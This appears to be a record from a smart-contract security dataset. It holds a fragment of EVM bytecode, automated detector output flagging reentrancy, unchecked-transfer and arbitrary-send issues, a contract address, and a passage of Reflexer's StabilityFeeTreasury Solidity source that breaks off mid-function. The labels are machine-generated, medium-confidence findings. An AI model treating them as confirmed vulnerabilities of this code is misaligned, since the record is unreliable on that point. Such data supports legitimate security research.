167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561260957600080fd5b5af1151561261657600080fd5b5050506040518051905011151561262c57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636ad5b3ea6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156126ee57600080fd5b5af115156126fb57600080fd5b50505060405180519050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15156127c157600080fd5b5af115156127ce57600080fd5b505050604051805190506040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561285c57600080fd5b5af1151561286957600080fd5b5050506040518051905050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cf73a1bc6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561291f57600080fd5b5af1151561292c57600080fd5b5050506040518051905073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561296f57600080fd5b6109c48210801561298157506109c481105b151561298c57600080fd5b81600581905550806006819055507f30c8ebfc35cc822986e28f932b0a3ec7ddeb7d22b2e2069c8418b8f6bb2be6648282604051808381526020018281526020019250505060405180910390a15050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663818d4b5d33836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515612ac757600080fd5b5af11515612ad457600080fd5b505050604051805190501515612ae957600080fd5b600f600082815260200190815260200160002060030160009054906101000a900460ff161515612b1857600080fd5b612b218161499f565b50565b60085481565b60055481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635abaaa016040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515612bda57600080fd5b5af11515612be757600080fd5b5050506040518051905073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612c2a57600080fd5b612c338161457f565b50565b600080600f600084815260200190815260200160002060030160009054906101000a900460ff161515612c6857600080fd5b600f60008481526020019081526020016000206002015491506000821415612cb0576000600f600085815260200190815260200160002060010154141515612caf57600080fd5b5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e846040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b1515612d4057600080fd5b5af11515612d4d57600080fd5b5050506040518051905090506000821115612f6157600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330612dab87610ea7565b6040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1515612e6257600080fd5b5af11515612e6f57600080fd5b505050604051805190501515612e8457600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb82846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515612f4857600080fd5b5af11515612f5557600080fd5b50505060405180519050505b827f4061e21996e5679778d872d5b99ef37970aa24194d370815ff0e224e58dff1a460405160405180910390a2600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663bcf0dd8e8233866040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b151561308657600080fd5b5af1151561309357600080fd5b505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e10f1b06336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561315657600080fd5b5af1151561316357600080fd5b50505060405180519050151561317857600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d03e9fff826040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b151561320857600080fd5b5af1151561321557600080fd5b50505050565b60095481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635c975abb6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156132a757600080fd5b5af115156132b457600080fd5b505050604051805190501515156132ca57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663818d4b5d33846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561338e57600080fd5b5af1151561339b57600080fd5b5050506040518051905015156133b057600080fd5b8282141515156133bf57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cbde2ff0846040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b151561344f57600080fd5b5af1151561345c57600080fd5b5050506040518051905080156135155750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cbde2ff0836040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b15156134fd57600080fd5b5af1151561350a57600080fd5b505050604051805190505b151561352057600080fd5b600c600084815260200190815260200160002060020160009054906101000a900460ff16151561354f57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634c6226fc6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156135d357600080fd5b5af115156135e057600080fd5b50505060405180519050341415156135f757600080fd5b6000600c600085815260200190815260200160002060010154111561373957600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd333061365f87610b4b565b6040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b151561371657600080fd5b5af1151561372357600080fd5b50505060405180519050151561373857600080fd5b5b61374283614aea565b61374b82614aea565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ce5a5df7336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561380757600080fd5b5af1151561381457600080fd5b505050604051805190509050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631e5d2e416000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634c6226fc6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156138e257600080fd5b5af115156138ef57600080fd5b505050604051805190508386866040518563ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018084815260200183815260200182815260200193505050506000604051808303818588803b151561395a57600080fd5b5af1151561396757600080fd5b50505050803373ffffffffffffffffffffffffffffffffffffffff167f51b6670023a2e348a2cb6b181f6ceed38b9ca16e2a416c7f437722cda97264d08585604051808381526020018281526020019250505060405180910390a36000600c6000858152602001908152602001600020600101541115613b7a57600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e866040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b1515613aaf57600080fd5b5af11515613abc57600080fd5b50505060405180519050600c6000878152602001908152602001600020600101546040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515613b6157600080fd5b5af11515613b6e57600080fd5b50505060405180519050505b81837f5b4cde6dd262ac8adc9c9dc9abd965f7fdc5f1b7e3a97db5fd06aa922540cfbf836040518082815260200191505060405180910390a3613bbc8361457f565b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634c6226fc6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515613c4757600080fd5b5af11515613c5457600080fd5b50505060405180519050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613cbe57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635c975abb6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515613d4257600080fd5b5af11515613d4f57600080fd5b505050604051805190501515613d6457600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635abaaa016040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515613de857600080fd5b5af11515613df557600080fd5b50505060405180519050600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635550e4f36040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515613ec357600080fd5b5af11515613ed057600080fd5b50505060405180519050600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a76d368a6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515613f9e57600080fd5b5af11515613fab57600080fd5b50505060405180519050600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60075481565b60065481565b600e5481565b60115481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166386e476dd6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561409357600080fd5b5af115156140a057600080fd5b5050506040518051905073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156140e357600080fd5b6007546008541415156140f557600080fd5b61410c60095460075461456190919063ffffffff16565b6007819055507f82a435bab9dac7abe42e365cda0c3cb0f64bf2b839af282f9e312d2d66145c846007546040518082815260200191505060405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a2c174596040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156141d357600080fd5b5af115156141e057600080fd5b50505060405180519050905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cf73a1bc6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561427557600080fd5b5af1151561428257600080fd5b5050506040518051905073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156142c557600080fd5b813073ffffffffffffffffffffffffffffffffffffffff1631101515156142eb57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166349b7a9c26040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561436f57600080fd5b5af1151561437c57600080fd5b5050506040518051905090508073ffffffffffffffffffffffffffffffffffffffff16630b6826ca836040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016000604051808303818588803b15156143eb57600080fd5b5af115156143f857600080fd5b505050507f8c9a4f13b67cb64d7c6aa1ae0c9bf07694af521a28b93e7060020810ab4bc59f6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166349b7a9c26040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156144a157600080fd5b5af115156144ae57600080fd5b5050506040518051905083604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008061455561271061454785876146c290919063ffffffff16565b614b8d90919063ffffffff16565b90508091505092915050565b600080828401905083811015151561457557fe5b8091505092915050565b600c600082815260200190815260200160002060020160009054906101000a900460ff16156146bf57600c600082815260200190815260200160002060000154600c6000600d6000600e6000815460019003919050819055815260200190815260200160002054815260200190815260200160002060000181905550600d6000600e54815260200190815260200160002054600d6000600c600085815260200190815260200160002060000154815260200190815260200160002081905550600d6000600e54815260200190815260200160002060009055600c600082815260200190815260200160002060008082016000905560018201600090556002820160006101000a81549060ff02191690555050807f868a9e71dfb115bed3ee872d882e85e6054c40386de4fbb9b016f78717d7b9ed60405160405180910390a25b50565b60008060008414156146d757600091506146f6565b82840290508284828115156146e857fe5b041415156146f257fe5b8091505b5092915050565b60008060075460085410151561471257600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ce5a5df7846040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15156147ce57600080fd5b5af115156147db57600080fd5b505050604051805190509050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631a9caab96000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634c6226fc6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156148a957600080fd5b5af115156148b657600080fd5b50505060405180519050836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808281526020019150506000604051808303818588803b151561491157600080fd5b5af1151561491e57600080fd5b50505050808373ffffffffffffffffffffffffffffffffffffffff167f51b6670023a2e348a2cb6b181f6ceed38b9ca16e2a416c7f437722cda97264d0600080604051808381526020018281526020019250505060405180910390a3614990600160085461456190919063ffffffff16565b60088190555080915050919050565b600f600082815260200190815260200160002060030160009054906101000a900460ff1615614ae757600f600082815260200190815260200160002060000154600f600060106000601160008154600190039190508190558152602001908152602001600020548152602001908152602001600020600001819055506010600060115481526020019081526020016000205460106000600f60008581526020019081526020016000206000015481526020019081526020016000208190555060106000601154815260200190815260200160002060009055600f6000828152602001908152602001600020600080820160009055600182016000905560028201600090556003820160006101000a81549060ff02191690555050807f5ea1bcce7d1009a8f5578c7ae0fb858880637a891d4e67851c12e37b35f59c6360405160405180910390a25b50565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633e8eca23826040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b1515614b7a57600080fd5b5af11515614b8757600080fd5b50505050565b6000808284811515614b9b57fe5b04905080915050929150505600a165627a7a7230582002fbaec93aa6785fe1ba1594dd1f9e6ec59a1d479aeff95bac55bd7183d68cf60029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,202 |
0x83533fdd3285f48204215e9cf38c785371258e76
|
/// StabilityFeeTreasury.sol
// Copyright (C) 2018 Rain <rainbreak@riseup.net>, 2020 Reflexer Labs, INC
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity 0.6.7;
abstract contract SAFEEngineLike {
function approveSAFEModification(address) virtual external;
function denySAFEModification(address) virtual external;
function transferInternalCoins(address,address,uint256) virtual external;
function settleDebt(uint256) virtual external;
function coinBalance(address) virtual public view returns (uint256);
function debtBalance(address) virtual public view returns (uint256);
}
abstract contract SystemCoinLike {
function balanceOf(address) virtual public view returns (uint256);
function approve(address, uint256) virtual public returns (uint256);
function transfer(address,uint256) virtual public returns (bool);
function transferFrom(address,address,uint256) virtual public returns (bool);
}
abstract contract CoinJoinLike {
function systemCoin() virtual public view returns (address);
function join(address, uint256) virtual external;
}
contract StabilityFeeTreasury {
// --- Auth ---
mapping (address => uint256) public authorizedAccounts;
/**
* @notice Add auth to an account
* @param account Account to add auth to
*/
function addAuthorization(address account) external isAuthorized {
authorizedAccounts[account] = 1;
emit AddAuthorization(account);
}
/**
* @notice Remove auth from an account
* @param account Account to remove auth from
*/
function removeAuthorization(address account) external isAuthorized {
authorizedAccounts[account] = 0;
emit RemoveAuthorization(account);
}
/**
* @notice Checks whether msg.sender can call an authed function
**/
modifier isAuthorized {
require(authorizedAccounts[msg.sender] == 1, "StabilityFeeTreasury/account-not-authorized");
_;
}
// --- Events ---
event AddAuthorization(address account);
event RemoveAuthorization(address account);
event ModifyParameters(bytes32 parameter, address addr);
event ModifyParameters(bytes32 parameter, uint256 val);
event DisableContract();
event SetTotalAllowance(address indexed account, uint256 rad);
event SetPerBlockAllowance(address indexed account, uint256 rad);
event GiveFunds(address indexed account, uint256 rad, uint256 expensesAccumulator);
event TakeFunds(address indexed account, uint256 rad);
event PullFunds(address indexed sender, address indexed dstAccount, address token, uint256 rad, uint256 expensesAccumulator);
event TransferSurplusFunds(address extraSurplusReceiver, uint256 fundsToTransfer);
// --- Structs ---
struct Allowance {
uint256 total;
uint256 perBlock;
}
mapping(address => Allowance) private allowance;
mapping(address => mapping(uint256 => uint256)) public pulledPerBlock;
SAFEEngineLike public safeEngine;
SystemCoinLike public systemCoin;
CoinJoinLike public coinJoin;
address public extraSurplusReceiver;
uint256 public treasuryCapacity; // max amount of SF that can be kept in treasury [rad]
uint256 public minimumFundsRequired; // minimum amount of SF that must be kept in the treasury at all times [rad]
uint256 public expensesMultiplier; // multiplier for expenses [hundred]
uint256 public surplusTransferDelay; // minimum time between transferSurplusFunds calls [seconds]
uint256 public expensesAccumulator; // expenses accumulator [rad]
uint256 public accumulatorTag; // latest tagged accumulator price [rad]
uint256 public pullFundsMinThreshold; // minimum funds that must be in the treasury so that someone can pullFunds [rad]
uint256 public latestSurplusTransferTime; // latest timestamp when transferSurplusFunds was called [seconds]
uint256 public contractEnabled;
modifier accountNotTreasury(address account) {
require(account != address(this), "StabilityFeeTreasury/account-cannot-be-treasury");
_;
}
constructor(
address safeEngine_,
address extraSurplusReceiver_,
address coinJoin_
) public {
require(address(CoinJoinLike(coinJoin_).systemCoin()) != address(0), "StabilityFeeTreasury/null-system-coin");
require(extraSurplusReceiver_ != address(0), "StabilityFeeTreasury/null-surplus-receiver");
authorizedAccounts[msg.sender] = 1;
safeEngine = SAFEEngineLike(safeEngine_);
extraSurplusReceiver = extraSurplusReceiver_;
coinJoin = CoinJoinLike(coinJoin_);
systemCoin = SystemCoinLike(coinJoin.systemCoin());
latestSurplusTransferTime = now;
expensesMultiplier = HUNDRED;
contractEnabled = 1;
systemCoin.approve(address(coinJoin), uint256(-1));
emit AddAuthorization(msg.sender);
}
// --- Math ---
uint256 constant HUNDRED = 10 ** 2;
uint256 constant RAY = 10 ** 27;
function addition(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x + y;
require(z >= x, "StabilityFeeTreasury/add-uint-uint-overflow");
}
function addition(int256 x, int256 y) internal pure returns (int256 z) {
z = x + y;
if (y <= 0) require(z <= x, "StabilityFeeTreasury/add-int-int-underflow");
if (y > 0) require(z > x, "StabilityFeeTreasury/add-int-int-overflow");
}
function subtract(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x, "StabilityFeeTreasury/sub-uint-uint-underflow");
}
function subtract(int256 x, int256 y) internal pure returns (int256 z) {
z = x - y;
require(y <= 0 || z <= x, "StabilityFeeTreasury/sub-int-int-underflow");
require(y >= 0 || z >= x, "StabilityFeeTreasury/sub-int-int-overflow");
}
function multiply(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(y == 0 || (z = x * y) / y == x, "StabilityFeeTreasury/mul-uint-uint-overflow");
}
function divide(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(y > 0, "StabilityFeeTreasury/div-y-null");
z = x / y;
require(z <= x, "StabilityFeeTreasury/div-invalid");
}
function minimum(uint256 x, uint256 y) internal view returns (uint256 z) {
z = (x <= y) ? x : y;
}
// --- Administration ---
/**
* @notice Modify contract addresses
* @param parameter The name of the contract whose address will be changed
* @param addr New address for the contract
*/
function modifyParameters(bytes32 parameter, address addr) external isAuthorized {
require(contractEnabled == 1, "StabilityFeeTreasury/contract-not-enabled");
require(addr != address(0), "StabilityFeeTreasury/null-addr");
if (parameter == "extraSurplusReceiver") {
require(addr != address(this), "StabilityFeeTreasury/accounting-engine-cannot-be-treasury");
extraSurplusReceiver = addr;
}
else revert("StabilityFeeTreasury/modify-unrecognized-param");
emit ModifyParameters(parameter, addr);
}
/**
* @notice Modify uint256 parameters
* @param parameter The name of the parameter to modify
* @param val New parameter value
*/
function modifyParameters(bytes32 parameter, uint256 val) external isAuthorized {
require(contractEnabled == 1, "StabilityFeeTreasury/not-live");
if (parameter == "expensesMultiplier") expensesMultiplier = val;
else if (parameter == "treasuryCapacity") {
require(val >= minimumFundsRequired, "StabilityFeeTreasury/capacity-lower-than-min-funds");
treasuryCapacity = val;
}
else if (parameter == "minimumFundsRequired") {
require(val <= treasuryCapacity, "StabilityFeeTreasury/min-funds-higher-than-capacity");
minimumFundsRequired = val;
}
else if (parameter == "pullFundsMinThreshold") {
pullFundsMinThreshold = val;
}
else if (parameter == "surplusTransferDelay") surplusTransferDelay = val;
else revert("StabilityFeeTreasury/modify-unrecognized-param");
emit ModifyParameters(parameter, val);
}
/**
* @notice Disable this contract (normally called by GlobalSettlement)
*/
function disableContract() external isAuthorized {
require(contractEnabled == 1, "StabilityFeeTreasury/already-disabled");
contractEnabled = 0;
joinAllCoins();
safeEngine.transferInternalCoins(address(this), extraSurplusReceiver, safeEngine.coinBalance(address(this)));
emit DisableContract();
}
// --- Utils ---
function either(bool x, bool y) internal pure returns (bool z) {
assembly{ z := or(x, y)}
}
function both(bool x, bool y) internal pure returns (bool z) {
assembly{ z := and(x, y)}
}
/**
* @notice Join all ERC20 system coins that the treasury has inside SAFEEngine
*/
function joinAllCoins() internal {
if (systemCoin.balanceOf(address(this)) > 0) {
coinJoin.join(address(this), systemCoin.balanceOf(address(this)));
}
}
function settleDebt() public {
uint256 coinBalanceSelf = safeEngine.coinBalance(address(this));
uint256 debtBalanceSelf = safeEngine.debtBalance(address(this));
if (debtBalanceSelf > 0) {
safeEngine.settleDebt(minimum(coinBalanceSelf, debtBalanceSelf));
}
}
// --- Getters ---
function getAllowance(address account) public view returns (uint256, uint256) {
return (allowance[account].total, allowance[account].perBlock);
}
// --- SF Transfer Allowance ---
/**
* @notice Modify an address' total allowance in order to withdraw SF from the treasury
* @param account The approved address
* @param rad The total approved amount of SF to withdraw (number with 45 decimals)
*/
function setTotalAllowance(address account, uint256 rad) external isAuthorized accountNotTreasury(account) {
require(account != address(0), "StabilityFeeTreasury/null-account");
allowance[account].total = rad;
emit SetTotalAllowance(account, rad);
}
/**
* @notice Modify an address' per block allowance in order to withdraw SF from the treasury
* @param account The approved address
* @param rad The per block approved amount of SF to withdraw (number with 45 decimals)
*/
function setPerBlockAllowance(address account, uint256 rad) external isAuthorized accountNotTreasury(account) {
require(account != address(0), "StabilityFeeTreasury/null-account");
allowance[account].perBlock = rad;
emit SetPerBlockAllowance(account, rad);
}
// --- Stability Fee Transfer (Governance) ---
/**
* @notice Governance transfers SF to an address
* @param account Address to transfer SF to
* @param rad Amount of internal system coins to transfer (a number with 45 decimals)
*/
function giveFunds(address account, uint256 rad) external isAuthorized accountNotTreasury(account) {
require(account != address(0), "StabilityFeeTreasury/null-account");
joinAllCoins();
settleDebt();
require(safeEngine.debtBalance(address(this)) == 0, "StabilityFeeTreasury/outstanding-bad-debt");
require(safeEngine.coinBalance(address(this)) >= rad, "StabilityFeeTreasury/not-enough-funds");
if (account != extraSurplusReceiver) {
expensesAccumulator = addition(expensesAccumulator, rad);
}
safeEngine.transferInternalCoins(address(this), account, rad);
emit GiveFunds(account, rad, expensesAccumulator);
}
/**
* @notice Governance takes funds from an address
* @param account Address to take system coins from
* @param rad Amount of internal system coins to take from the account (a number with 45 decimals)
*/
function takeFunds(address account, uint256 rad) external isAuthorized accountNotTreasury(account) {
safeEngine.transferInternalCoins(account, address(this), rad);
emit TakeFunds(account, rad);
}
// --- Stability Fee Transfer (Approved Accounts) ---
/**
* @notice Pull stability fees from the treasury (if your allowance permits)
* @param dstAccount Address to transfer funds to
* @param token Address of the token to transfer (in this case it must be the address of the ERC20 system coin).
* Used only to adhere to a standard for automated, on-chain treasuries
* @param wad Amount of system coins (SF) to transfer (expressed as an 18 decimal number but the contract will transfer
internal system coins that have 45 decimals)
*/
function pullFunds(address dstAccount, address token, uint256 wad) external {
if (dstAccount == address(this)) return;
require(allowance[msg.sender].total >= wad, "StabilityFeeTreasury/not-allowed");
require(dstAccount != address(0), "StabilityFeeTreasury/null-dst");
require(dstAccount != extraSurplusReceiver, "StabilityFeeTreasury/dst-cannot-be-accounting");
require(wad > 0, "StabilityFeeTreasury/null-transfer-amount");
require(token == address(systemCoin), "StabilityFeeTreasury/token-unavailable");
if (allowance[msg.sender].perBlock > 0) {
require(addition(pulledPerBlock[msg.sender][block.number], multiply(wad, RAY)) <= allowance[msg.sender].perBlock, "StabilityFeeTreasury/per-block-limit-exceeded");
}
pulledPerBlock[msg.sender][block.number] = addition(pulledPerBlock[msg.sender][block.number], multiply(wad, RAY));
joinAllCoins();
settleDebt();
require(safeEngine.debtBalance(address(this)) == 0, "StabilityFeeTreasury/outstanding-bad-debt");
require(safeEngine.coinBalance(address(this)) >= multiply(wad, RAY), "StabilityFeeTreasury/not-enough-funds");
require(safeEngine.coinBalance(address(this)) >= pullFundsMinThreshold, "StabilityFeeTreasury/below-pullFunds-min-threshold");
// Update allowance and accumulator
allowance[msg.sender].total = subtract(allowance[msg.sender].total, multiply(wad, RAY));
expensesAccumulator = addition(expensesAccumulator, multiply(wad, RAY));
// Transfer money
safeEngine.transferInternalCoins(address(this), dstAccount, multiply(wad, RAY));
emit PullFunds(msg.sender, dstAccount, token, multiply(wad, RAY), expensesAccumulator);
}
// --- Treasury Maintenance ---
/**
* @notice Transfer surplus stability fees to the AccountingEngine. This is here to make sure that the treasury
doesn't accumulate too many fees that it doesn't even need in order to pay for allowances. It ensures
that there are enough funds left in the treasury to account for projected expenses (latest expenses multiplied
by an expense multiplier)
*/
function transferSurplusFunds() external {
require(now >= addition(latestSurplusTransferTime, surplusTransferDelay), "StabilityFeeTreasury/transfer-cooldown-not-passed");
// Compute latest expenses
uint256 latestExpenses = subtract(expensesAccumulator, accumulatorTag);
// Check if we need to keep more funds than the total capacity
uint256 remainingFunds =
(treasuryCapacity <= divide(multiply(expensesMultiplier, latestExpenses), HUNDRED)) ?
